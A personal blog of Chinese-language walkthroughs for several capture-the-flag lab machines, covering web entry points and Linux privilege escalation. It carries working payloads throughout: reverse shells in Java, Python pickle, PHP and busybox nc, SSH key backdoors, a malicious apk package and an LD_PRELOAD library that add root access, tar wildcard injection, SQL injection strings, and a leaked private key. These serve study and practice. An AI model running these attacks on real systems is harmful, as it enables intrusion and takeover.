Xiaohao's Blog

最近在练习渗透,找到一个单靶机渗透挺好的平台:https://maze-sec.com
题目基本上是Web渗透+Linux提权,有些还挺有意思的,和云境不太一样。记录一下我的做题笔记

lanSSudoyy

靶机:lanSSudoyy
作者:wea5e1 (QQ: 3522700034)
靶机ID: 618
系统:Linux
难度:baby

开了22和80端口,80端口有个index.php

Web逻辑漏洞

直接输-10000就能刷钱了,拿到ssh
image.png

cat user.txt拿到flag

CVE-2021-3156提权

看一下sudo版本,1.8.23,可以打CVE
https://bgithub.xyz/worawit/CVE-2021-3156
直接上传脚本,运行poc即可。
image.png

JNDI

靶机:JNDI
作者:S@Ku_γA (QQ: 2312194090)
靶机ID: 620
系统:Linux
难度:Medium

扫描找到四个端口

[867ms] [*] 端口开放 192.168.56.102:22
[948ms] [*] 端口开放 192.168.56.102:80
[951ms] [*] 端口开放 192.168.56.102:8009
[983ms] [*] 端口开放 192.168.56.102:8080

JNDI注入

目录扫出来一个http://192.168.56.102:8080/jndi.jsp,应该是题目入口,打jndi注入,虽然是黑盒,怀疑直接就是把参数填到lookup里去了

本地配的host模式网卡,不出网,懒得调dnslog了,最后用javax.naming.spi.ObjectFactory打通:

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class JavaReverseFactory8A implements ObjectFactory {
private static boolean launched = false;

static {
launch();
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
launch();
return null;
}

private static synchronized void launch() {
if (launched) {
return;
}
launched = true;
Thread thread = new Thread(JavaReverseFactory8A::reverse);
thread.setDaemon(true);
thread.start();
}

private static void reverse() {
Socket socket = null;
Process process = null;
try {
socket = new Socket("192.168.56.1", 9999);
process = new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();

InputStream processOut = process.getInputStream();
InputStream socketIn = socket.getInputStream();
OutputStream processIn = process.getOutputStream();
OutputStream socketOut = socket.getOutputStream();
byte[] buffer = new byte[4096];

while (!socket.isClosed()) {
while (processOut.available() > 0) {
int length = processOut.read(buffer);
if (length > 0) {
socketOut.write(buffer, 0, length);
}
}

while (socketIn.available() > 0) {
int length = socketIn.read(buffer);
if (length > 0) {
processIn.write(buffer, 0, length);
}
}

socketOut.flush();
processIn.flush();

try {
process.exitValue();
break;
} catch (Exception ignored) {
}

Thread.sleep(50);
}
} catch (Exception ignored) {
} finally {
try {
if (process != null) {
process.destroy();
}
} catch (Exception ignored) {
}
try {
if (socket != null) {
socket.close();
}
} catch (Exception ignored) {
}
}
}
}

python -m http.server 1234 --bind 192.168.56.1

javac --release 8 JavaReverseFactory8A.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.56.1:1234/#JavaReverseFactory8A" 13897

拿shell:
image.png

写个公钥后门进去,稳一下shell

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys

提权1:basename -a参数拼接,执行提权类

/usr/message里面看到一个jpg图片,string能看到liz的口令:

image.png

最后试出来liz的密码是sanmuximei
bashhistory,可以看到比较可疑的/opt/java_agent_start.sh和a.sh,同时opt这个目录可以全局写
image.png

sudo -l 看到这里有/opt/java_agent_start.sh,那就对上了,应该要加载一个提权的类来拿root
image.png

file_name=/opt/file/tmp
file_line=$(awk 'NR==1 {print;exit}' "$file_name")
file_line=$(basename $file_line)

cd /opt

echo $file_line

/usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test

这个前三行提取tmp的第一行作为后续启动的参数,查了下basename的命令,这里使用basename的时候没有加引号,后面的启动命令里这个$file_line也没加,tmp又可控,可以直接利用

在tmp前面加上:-a libhprof.so -Djava.ext.dirs=file RootDropper8,拼成
basename -a libhprof.so -Djava.ext.dirs=file RootDropper8,basename会以空格为界,加上换行符,拼成:file_line=$'libhprof.so\n-Djava.ext.dirs=file\nRootDropper8'
最后的启动命令:

usr/local/java/jdk1.8.0_20/bin/java \
-agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libhprof.so \
-Djava.ext.dirs=file \
RootDropper8 \
test

这样把-Djava.ext.dirs=file作为jvm的新的启动参数,RootDropper8作为新的主类

RootDropper8

import java.io.IOException;
public class RootDropper8 {
static {
run();
}

public static void main(String[] args) {
run();
}

private static void run() {
String[] commands = {
"/bin/sh",
"-c",
"cp /bin/bash /home/bluebird/rootsh"
};

try {
new ProcessBuilder(commands).redirectErrorStream(true).start().waitFor();
} catch (IOException | InterruptedException ignored) {
Thread.currentThread().interrupt();
}
}
}

在tmp后面加上jar,让jvm去解析后面的类:

cat /tmp/payload.jar >> /opt/file/tmp

image.png

最后sudo /bin/bash /opt/java_agent_start.sh即可生成rootsh

image.png

提权2:JDWP远程调试

JDWP是Java提供的调试协议,在加载的时候可以让它在指定的端口开一个调试服务。在JAVA中,调试器拥有最高权限,可以随意实例化对象、调用方法,包括Runtime.getRuntime().exec()来RCE

同样的,还是利用tmp可写,我们把启动调试的命令写进去:

echo "libjdwp.so=transport=dt_socket,server=y,address=8000,suspend=y" > /opt/file/tmp

sudo /bin/bash /opt/java_agent_start.sh

开启调试:
image.png

原来的test的程序很简单,就是打印一个helloworld,那么我们在println的地方打上断点即可

![[Pasted image 20260327222759.png]]

image.png

Tentacle

靶机:Tentacle
作者:Sublarge (QQ: 1469196548)
靶机ID: 605
系统:Linux
难度:Medium

image.png

通过代理SSRF到5000

信息搜集一下,3128是一个squid的代理,在网上找到vulnhub的一个类似的靶机:https://www.cnblogs.com/LINGX5/p/18437965,使用这个代理,怀疑可以ssrf到127.0.0.1

同时在http://192.168.56.103/~operator/Tentacle能发现app.py,拿到源码,接口什么的很清楚了
![[Pasted image 20260328220700.png]]
在5000起了个服务,auth未校验,传入了一个task_data,进行了pickle.loads,打pickle反序列化

首先先成功打通代理

import requests

r = requests.get(
"http://127.0.0.1:5000/api/status",
proxies={"http": "http://192.168.56.103:3128"},
timeout=10,
)
print(r.status_code, r.text)

#200 {"cpu":"12%","main_process":"~operator/Tentacle/app.py","memory":"450MB/2048MB"}

Pickle反序列化

裸的pickle反序列化,就是要注意payload生成要在linux环境下,我一开始在window环境下弄了半天就是弹不到shell

import pickle
import os
import base64
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

a = A()

pickle_a = pickle.dumps(a)
print(base64.b64encode(pickle_a).decode())

exp:

import pickle
import os
import base64
import requests

payload = "gASV/wAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjORweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjU2LjEiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyeUhZRSlC4="

try:
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"task_data": payload
}
proxy = "http://192.168.56.103:3128"
proxies = {
"http": proxy,
"https": proxy
}
response = requests.post(
"http://127.0.0.1:5000/api/deploy",
data=data,
headers=headers,
proxies=proxies
)
print(f"\n[+] Response Status: {response.status_code}")
print(f"[+] Response Body: {response.text}")
except Exception as e:
print(f"[-] Error: {e}")

拿shell之后写公钥后门进去,成功登录:
image.png

SSH泄露 SSH私钥爆破

前面从http://192.168.56.103/~operator/Tentacle读出源码说明Apache的mod_userdir是开着的,可以通过相似的格式读一些别的内容,public_html 会被映射为 /username/ 形式对外提供访问。实现了将 URL: `http://服务器地址/用户名/ 映射到文件系统路径: /home/用户名/public_html/`

访问http://192.168.56.103/~licksore/.ssh找到泄露的私钥,用john the ripper破解私钥的加密短语,字典rockyou。

#注意python2的环境
python ssh2john.py privatekey.txt > keyhash.txt
#把keyhash中的txt头去掉
john.exe --wordlist=rockyou5000.txt keyhash.txt
john.exe --show keyhash.txt

拿到密码justice,拿口令登录ssh
我这里直接有xterminal拿了,如果是windows,有可能会提示私钥权限过大,去掉权限继承,只保留所有者权限:

$user = "$env:COMPUTERNAME\$env:USERNAME"  
icacls "rsakey" /inheritance:r
icacls "rsakey" /grant:r "${user}:F"
icacls "rsakey" /remove "BUILTIN\Users"
ssh -i id_rsa licksore@192.168.56.103

image.png

Apk Sudo提权

参考:https://blog.csdn.net/2301_79518550/article/details/158431683

sudo -l 看到/sbin/apk有权限,是apk提权,挺有意思,之前没见过
image.png

按步骤执行即可

  1. 准备目录
mkdir -p /tmp/evil-pkg/pkg
cd /tmp/evil-pkg
  1. 创建元文件.pkginfo
cat > pkg/.PKGINFO << 'EOF'
pkgname = evil-pwn
pkgver = 1.0.0
pkgdesc = Test package for privilege escalation demo
url = http://example.com
builddate = 1735680000
packager = root <root@localhost>
size = 4096
arch = x86_64
EOF
  1. 创建post-install脚本
cat > pkg/.post-install << 'EOF'
#!/bin/sh
set -e

echo 'root2:aacFCuAIHhrCM:0:0:root:/root:/bin/sh' >> /etc/passwd
echo " [!] Exploit payload executed successfully!"
EOF

chmod +x pkg/.post-install
  1. 打包成apk
cd pkg tar -czf ../evil-pwn.apk .PKGINFO .post-install 
cd ..
  1. 提权
sudo apk add --allow-untrusted ./evil-pwn.apk

或者:

Tentacle:~$ cd /tmp
Tentacle:~$ mkdir -p build_pkg
Tentacle:~$ cd build_pkg
Tentacle:~$ vim .PKGINFO
pkgname = rootpwn
pkgver = 1.0-r0
pkgdesc = privilege escalation
size = 1000
Tentacle:~$ vim .pre-install
#!/bin/sh
# password: 111111
echo 'hacker:$1$DhMw2ANK$s0Iu1RQPCyn8jbR7asAjl0:0:0:hack,,,:/root:/bin/bash' >> /etc/passwd
exit 0

Tentacle:~$ chmod +x .pre-install

Tentacle:~$ tar -czf rootpwn-1.0-r0.apk .PKGINFO .pre-install
Tentacle:~$ sudo /sbin/apk add --allow-untrusted ./rootpwn-1.0-r0.apk
Tentacle:~$ su hacker

image.png

HackMe

靶机:HackMe
作者:Joker-xue (QQ: 1019443746)
靶机ID: 615
系统:Linux
难度:Easy

image.png

php反序列化

什么都没有,图片尾部放了一份源码,php反序列化

class Starter {
public $obj;
public function execute() {
echo $this->obj;
}
}

class Middle {
public $target;
public function __toString() {
return $this->target->run();
}
}

class Runner {
public $command;
public function run() {
system($this->command);
}
}

if (isset($_POST['data'])) {
$data = base64_decode($_POST['data']);
if ($data !== false) {
$obj = unserialize($data);
if (is_object($obj) && method_exists($obj, 'execute')) {
$obj->execute();
}
}
exit;
}

exp:

<?php
class Starter {
public $obj;
public function __construct($obj){
$this->obj = $obj;
}
public function execute() {
echo $this->obj;
}
}

class Middle {
public $target;
public function __construct($target){
$this->target = $target;
}
public function __toString() {
return $this->target->run();
}
}

class Runner {
public $command;
public function __construct($command){
$this->command = $command;
}
public function run() {
system($this->command);
return "";
}
}

$command = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.1\",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'";

$a = new Starter(new Middle(new Runner($command)));
$b = serialize($a);
echo base64_encode($b);
?>

#Tzo3OiJTdGFydGVyIjoxOntzOjM6Im9iaiI7Tzo2OiJNaWRkbGUiOjE6e3M6NjoidGFyZ2V0IjtPOjY6IlJ1bm5lciI6MTp7czo3OiJjb21tYW5kIjtzOjIyNjoicHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguNTYuMSIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0pJyI7fX19

成功弹到shell

本地ssh登录至joker

之前jpg后面还藏了一个用户密码:joker:@-joker-@-123421-@,弹到shell之后拿一个交互式终端,ssh登录joker:

python3 -c 'import pty; pty.spawn("/bin/bash")'/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

ssh joker@127.0.0.1

原来su不行还可以这样切换账号 学到了。

提权:自定义arp后门

ps aux | grep root看进程里面有这个arp服务
image.png

看一下这个服务的相关信息,描述是 ARP Command Listener,应该是要使用恶意arp请求提权

看了群友的wp,这里其实上是在arp包加上执行命令的padding来达到后门的效果,测试发现如果直接加命令的话,返回的是这样一个包:
image.png

b"CMD:" + cmd.encode()才行

from scapy.all import *

TARGET_IP = "192.168.56.104"
IFACE = "以太网 2"

eth = Ether(dst="ff:ff:ff:ff:ff:ff", src="08:00:27:3e:7e:2b")
arp = ARP(op=1, hwsrc="08:00:27:3e:7e:2b", psrc="192.168.56.11", pdst=TARGET_IP)
cmd = "id"
payload = b"CMD:" + cmd.encode()
packet = eth / arp / Raw(load=payload)

ans = srp1(packet, iface=IFACE, timeout=5, verbose=False)

image.png

权限是root,测试会发现长度还会有限制,命令长度<=6
那就用joker权限写个拿rootshell的脚本,用root运行

cat << EOF> /tmp/x
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

chmod +x /tmp/x

用前面的脚本再次发包即可,命令是/tmp/x,刚刚好6个字符
image.png

Twice

靶机:Twice 
作者:ll104567
靶机ID:621
系统:Linux

ssh端口复用

image.png

只开了一个22端口,一开始以为是爆破ssh,但是这里用户名又不知道,不可能上来就爆破root密码

实际上这里是一个端口复用,去curl这个22端口,发现可以返回,也就是说这个22端口实际上还可以处理http请求:
image.png
那么我们扫一下目录:
image.png

私钥ssh登录

嗯,backup拿下来,zip解压之后一个tar,再解压就可以拿到一个私钥:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAOj2572/tCLfHeT69ZHrshlKzpRLjvT7VxCOD7kh7E8QAAAJhClDZnQpQ2
ZwAAAAtzc2gtZWQyNTUxOQAAACAOj2572/tCLfHeT69ZHrshlKzpRLjvT7VxCOD7kh7E8Q
AAAEBiC8Y0FCRmWZR7Jg9b2ITBZ+U/gZ47vONK0eOzCr1k0w6Pbnvb+0It8d5Pr1keuyGU
rOlEuO9PtXEI4PuSHsTxAAAADmN5bC1sb3ZlQFR3aWNlAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----

然后重新提权公钥的内容:

ssh-keygen -y -f id_ed25519

image.png
看到生成公钥时候的主机名和用户名cyl-love@Twice
然后用私钥登录即可:

ssh -i id_ed25519 cyl-love@192.168.56.108

image.png

环境变量注入提权

出题人设计好的链子,打sslh + LD_PRELOAD +reboot环境变量注入提权

看一下基本的:
image.png
看到可以sudo reboot/etc/default/sslh可写,一开始发现这个pkexec版本符合CVE-2021-4034,尝试打了一下,发现打不通,应该打过补丁了,不是这个地方提权。那就是要考虑sudo reboot/etc/default/sslh这两个地方

cyl-love@Twice:~$ cat /etc/default/sslh
# Default options for sslh initscript
# sourced by /etc/init.d/sslh

# binary to use: forked (sslh) or single-thread (sslh-select) version
# systemd users: don't forget to modify /lib/systemd/system/sslh.service
DAEMON=/usr/sbin/sslh

DAEMON_OPTS="--user root --listen 0.0.0.0:22 --ssh 127.0.0.1:2222 --http 127.0.0.1:80 --pidfile /var/run/sslh/sslh.pid"

对应的service:

cyl-love@Twice:/$ cat /lib/systemd/system/sslh.service
[Unit]
Description=SSL/SSH multiplexer
After=network.target
Documentation=man:sslh(8)

[Service]
EnvironmentFile=/etc/default/sslh
ExecStart=/usr/sbin/sslh --foreground $DAEMON_OPTS
KillMode=process

[Install]
WantedBy=multi-user.target

可以看到EnvironmentFile=/etc/default/sslh这里是把我们可写的文件当做环境变量来启动

同时程序以root启动:
image.png

那么这里就可以有一个链子了:首先我们可以写一个LD_PRELOAD进去,LD_PRELOAD可以做到在程序运行前把一个能自动运行的恶意so加载到进程中:

echo 'LD_PRELOAD=/home/cyl-love/evil.so' >> /etc/default/sslh

这时我们在用sudo reboot重启后,触发sslh服务重新启动,就会以root加载我的so,而我的so又可以自动执行,那么就可以提权了。

evil.so:

#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>

__attribute__((constructor)) void init() {
unsetenv("LD_PRELOAD");
system("cp /bin/bash /tmp/rootsh; chown root:root /tmp/rootsh; chmod 4755 /tmp/rootsh; sed -i '/^LD_PRELOAD=/d' /etc/default/sslh");
}
gcc -shared -fPIC -o /home/cyl-love/evil.so /home/cyl-love/evil.c

image.png

Calc.

靶机ID: 633
名称: Calc.
作者: kaada (QQ: 3391510372)
系统: Linux
难度: Easy

MariaDB SQL注入

扫出来80,8080,和22。80端口存在sql注入,有报错回显,是一个MariaDB:
image.png
2 and extractvalue(1, concat(0x7e, database())) #
数据库名:calc_db

1 and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))#
操作系统:debian-linux-gnu

1 and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='calc_db' limit 0,1),0x7e))#1
表名:track_info、webapp_users、access_logs、system_config

1 and extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_schema='calc_db' and table_name='track_info' limit 0,1), 0x7e))#1
列名:

track_info: id,track_name,lyric
webapp_users: id,password
access_logs: id,ip_address,access_time
system_config: id,config_name,jdbc_url

1 and extractvalue(1, concat(0x7e,(select concat(id,0x7e,config_name,0x7e,jdbc_url) from calc_db.system_config limit 0,1),0x7e))#

最后发现注出来有一个webapp_users: JimmyThumb_Calc_2010,Jimmy

很简单的sql注入,用sqlmap也可以:
image.png
image.png

登录即可
image.png

jdbc反序列化

有关TODO.txt,给了我们数据库的密码calc_user:vocaloid_miku_01和一个jar文件
ps能看到有java
image.png

cron.d中能看到一个calc_sync的定时任务
image.png

每分钟由root执行这个jar

* * * * * root /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1

刚刚我们sql注入还注出来了一个system_config.jdbc_url,反编译一下sync这个jar,com.sync.SyncTask看到

image.png

DriverManager.getConnection(executeQuery.getString("jdbc_url")).close();这个地方从数据库读取jdbcconfig然后连接。然后数据库密码拿到了,这个jdbcurl是可控的。

再看看 backend_sync.jar 内的依赖:

  • MySQL 驱动版本:mysql-connector-java 5.1.48
  • 同时存在:commons-collections 3.2.1

很明显,打jbdc反序列化

先把数据库中的jdbc url改了,使用这个url:

jdbc:mysql://192.168.56.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=privesc&password=x&maxAllowedPacket=655360

image.png

/tmp/privesc.sh:

#!/bin/bash
cp /bin/bash /tmp/rbash_root
chmod 4755 /tmp/rbash_root

https://github.com/fnmsd/MySQL_Fake_Server

在本地起一个恶意服务,等待脚本定时任务执行完成拿到bash即可(用了py313没打通,换py311就好了)
image.png

Ruoyi

靶机ID: 624
靶机:Ruoyi
作者:场_room (QQ: 2180757244)
系统:Linux
难度:Easy

Ruoyi文件读取&反序列化漏洞

22和80开着,80登上去一个ruoyi
Pasted image 20260420190137

尝试里一下shiro的默认密钥,没发现啥
Pasted image 20260420222428

查看源代码发现注释给了我们一个接口:
Pasted image 20260420223131
注册进去翻一下后台,没什么东西,登录进去拿到cookie之后再用工具扫一下:
Pasted image 20260420223427

目录穿越:
Pasted image 20260420223525
那么接下来我们还是尝试拿AES密钥
环境变量:

USER=fortonight�HOME=/home/fortonight�CATALINA_HOME=/opt/tomcat�CATALINA_PID=/opt/tomcat/temp/tomcat.pid�LOGNAME=fortonight�JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED�PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin�INVOCATION_ID=a1d6a0bcac9747bf9f924b668f5b6f8f�LANG=en_US.UTF-8�SHELL=/bin/bash�JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64�PWD=/opt/tomcat�CATALINA_BASE=/opt/tomcat�

最终在这里找到:
/opt/tomcat/webapps/ROOT/WEB-INF/classes/application.yml
Pasted image 20260420224223
IUAjJE1hWmUlXiYqMjAyNg==

然后直接打shiro反序列化
Pasted image 20260420224603
写个公钥后门进去:
Pasted image 20260420230014Pasted image 20260420230025

定时器配置提权

Linpeas扫一下可以看见一个ops组
Pasted image 20260420232151
详细看一下
Pasted image 20260420234202

这个组有一个py,而且还是可读可写:

fortonight@Ruoyi:~$ find / -type f -group ops 2>/dev/null
/opt/opsagent/plugins/netmon.py
fortonight@Ruoyi:~$ cat /opt/opsagent/plugins/netmon.py
import os
import socket

def collect():
return {
"hostname": socket.gethostname(),
"uid": os.getuid(),
"euid": os.geteuid()
}
fortonight@Ruoyi:~$ ls -al /opt/opsagent/plugins/netmon.py
-rw-rw-r-- 1 root ops 158 Mar 30 04:38 /opt/opsagent/plugins/netmon.py

发现是一个服务在运行这个脚本

fortonight@Ruoyi:~$  systemctl list-units | grep -i ops
ops-report.timer loaded active waiting Run ops report periodically
fortonight@Ruoyi:~$ systemctl cat ops-report.timer
# /etc/systemd/system/ops-report.timer
[Unit]
Description=Run ops report periodically

[Timer]
OnBootSec=2min
OnUnitActiveSec=1min
Unit=ops-report.service

[Install]
WantedBy=timers.target

fortonight@Ruoyi:~$ systemctl cat ops-report.service
# /etc/systemd/system/ops-report.service
[Unit]
Description=Ops Report Generator
After=network.target

[Service]
Type=oneshot
User=root
WorkingDirectory=/opt/opsagent
ExecStart=/usr/bin/python3 /opt/opsagent/reporter.py

这是一个和cron定时任务作用差不多的一个定时器配置,可以看见配置写的是系统启动后2分钟触发,之后每隔1分钟触发。这个服务作用就是每隔1分钟执行一次reporter.py

这样就行了,等待定时任务触发即可提权
Pasted image 20260420233331

Pasted image 20260420233739

The_Lazy_Admin

The_Lazy_Admin
作者:Eecho (QQ: 1784886491)
靶机ID: 636
系统:Linux
难度:Easy

cgi-bin RCE

Pasted image 20260422182155

tomcat 9.0.107,尝试打了CVE,没打通
Pasted image 20260422183351

dirsearch扫出来一个http://192.168.56.111/cgi-bin/,一般会存放一些可执行脚本,以.cgi结尾。进一步扫描一下

看到test和vuln是200
Pasted image 20260422204106
看一下vuln.cgi,发现可以直接命令执行的:
Pasted image 20260422212506
反弹shell

busybox nc 192.168.56.1 9998 -e /bin/bash

Pasted image 20260422214230

sudo -l 发现可以直接su - 111
Pasted image 20260422214355

tar命令拼接 定时任务提权

写个公钥后门进去先:

111@Eecho:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNs
111@Eecho:~$ en@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys

定时任务看到一个shell.sh,每分钟执行
Pasted image 20260422214804
功能是将/var/www打包成tar,那么我们可以这样子提权:

echo "chmod +s /bin/bash" > /var/www/html/shell.sh
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"

这样tar在进行打包的时候,会把文件名当做参数来进行拼接,最终可以拼接成

tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh ...

即:

  • 先解析所有选项 → 注册 checkpoint 间隔 + 注册 checkpoint 动作
  • 再开始打包 → 每处理1个文件触发 checkpoint → 执行 sh shell.sh

Link2

靶机:Link2
作者:群主 (QQ: 1045670921)
靶机ID: 639
系统:Linux
难度:Easy

文件读取

Pasted image 20260425211453
开着一个12138,网站首页也有提示

nc连上去发现是一个文件读取的程序,测一下过滤了..,并且必须以/home/user12138开头,先把flag-user读出来:
Pasted image 20260425212110
.bash.history看到mysql密码
Pasted image 20260425213626
william / fN10MaXtaEY5VJWJ65ni可以直接登录ssh

软连接

一开始想读user12138的私钥,发现输出有长度限制。根据文件读取,想到写软连接:
ln -s /root /tmp/abc
Pasted image 20260425220102

其实这个题目还有更深入的可以研究,首先我们看见/opt下面有对应的读取文件程序,打开看一下
Pasted image 20260425222640

  1. /home/user12138和/tmp是在白名单里面的
  2. 后面这里,if ( (stat_buf.st_mode & 0xF000) == 0xA000 )虽然判断了软连接,但是只是判断buf本身是不是软连接,如果前面的路径里面已经读取了软连接,解析的时候还是会跟过去。这里的判断实际上不起作用。
  3. 另外还可以打toctou条件竞争。根据逻辑,是先判断lstat()是否为软连接,然后用open()打开。所以可以在判断完之后立即替换成软连接
import os
import socket
import threading
import ctypes
import shutil

A = "/tmp/raceA"
B = "/tmp/raceB"
TARGET = "root.txt"
REAL_DIR = "/root"
FAKE_DATA = "FAKEFLAG\n"

HOST = "127.0.0.1"
PORT = 12138

# libc.renameat2
libc = ctypes.CDLL("libc.so.6", use_errno=True)
renameat2 = libc.renameat2
renameat2.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_int, ctypes.c_char_p, ctypes.c_uint]
renameat2.restype = ctypes.c_int

AT_FDCWD = -100
RENAME_EXCHANGE = 2


